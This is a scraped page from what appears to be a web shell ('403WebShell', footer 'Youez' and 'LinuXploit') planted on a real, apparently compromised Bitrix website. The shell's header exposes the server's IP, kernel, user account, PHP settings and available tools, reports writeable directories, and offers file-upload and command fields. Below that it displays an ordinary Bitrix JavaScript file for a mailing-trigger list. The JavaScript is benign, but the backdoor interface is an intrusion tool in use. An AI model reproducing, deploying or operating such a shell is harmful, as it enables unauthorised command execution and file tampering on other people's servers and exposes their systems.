%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.139.97.161
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.trigger.list/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.trigger.list/templates/.default//script.js
;(function ()
{

	BX.namespace('BX.Sender');
	if (BX.Sender.CampaignList)
	{
		return;
	}

	var Page = BX.Sender.Page;
	var Helper = BX.Sender.Helper;

	/**
	 * ListManager.
	 *
	 */
	function ListManager()
	{
	}
	ListManager.prototype.init = function (params)
	{
		this.presets = params.presets || [];
		this.gridId = params.gridId;
		this.actionUri = params.actionUri;
		this.pathToEdit = params.pathToEdit;
		this.pathToAdd = params.pathToAdd;
		this.mess = params.mess;

		this.buttonAdd = BX('SENDER_BUTTON_ADD');
		if (this.buttonAdd)
		{
			var menuItems = this.presets.map(function (item) {
				var hint = BX.util.htmlspecialchars(item.DESC);
				return {
					'id': item.CODE,
					'html': item.NAME + '<span data-hint="' + hint + '"></span>',
					'onclick': this.onMenuItemClick.bind(this, item)
					//'className': message.IS_AVAILABLE ? '' : 'b24-tariff-lock'
				};
			}, this);
			this.initMenuAdd(
				[
					{
						'id': 'manually',
						'text': this.mess.manually,
						'onclick': Page.open.bind(Page, this.pathToAdd)
					},
					{'delimiter': true}
				].concat(menuItems)
			);
		}

		this.ajaxAction = new BX.AjaxAction(this.actionUri);
		Page.initButtons();
	};
	ListManager.prototype.activate = function (id)
	{
		this.doAction('activate', id);
	};
	ListManager.prototype.deactivate = function (id)
	{
		this.doAction('deactivate', id);
	};
	ListManager.prototype.remove = function (id)
	{
		this.doAction('remove', id);
	};
	ListManager.prototype.createUsingPreset = function (code)
	{
		this.doAction('createUsingPreset', null, null, {'code': code});
	};
	ListManager.prototype.removeSelected = function ()
	{
		var grid = BX.Main.gridManager.getById(this.gridId);
		if (!grid || !grid.instance)
		{
			return;
		}

		this.doAction('removeList', grid.instance.getRows().getSelectedIds());
	};
	ListManager.prototype.doAction = function (actionName, id, callback, dataParameters)
	{
		var gridId = this.gridId;

		dataParameters = dataParameters || {};
		dataParameters.id = id;
		Page.changeGridLoaderShowing(gridId, true);
		var self = this;
		this.ajaxAction.request({
			action: actionName,
			onsuccess: function (data) {
				Page.reloadGrid(gridId);
				if (callback)
				{
					callback.apply(self, [data]);
				}
			},
			onfailure: function () {
				Page.reloadGrid(gridId);
			},
			data: dataParameters
		});
	};
	ListManager.prototype.onMenuItemClick = function (item)
	{
		this.createUsingPreset(item.CODE);
		this.popupMenu.close();
	};
	ListManager.prototype.initMenuAdd = function (items)
	{
		if (this.popupMenu)
		{
			this.popupMenu.show();
			return;
		}

		this.popupMenu = BX.PopupMenu.create(
			'sender-letter-list',
			this.buttonAdd,
			items,
			{
				autoHide: true,
				autoClose: true
			}
		);

		var container = this.popupMenu.getPopupWindow().getPopupContainer();
		Helper.hint.init(container);
		BX.bind(this.buttonAdd, 'click', this.popupMenu.show.bind(this.popupMenu));
	};


	BX.Sender.CampaignList = new ListManager();

})(window);

Youez - 2016 - github.com/yon3zu
LinuXploit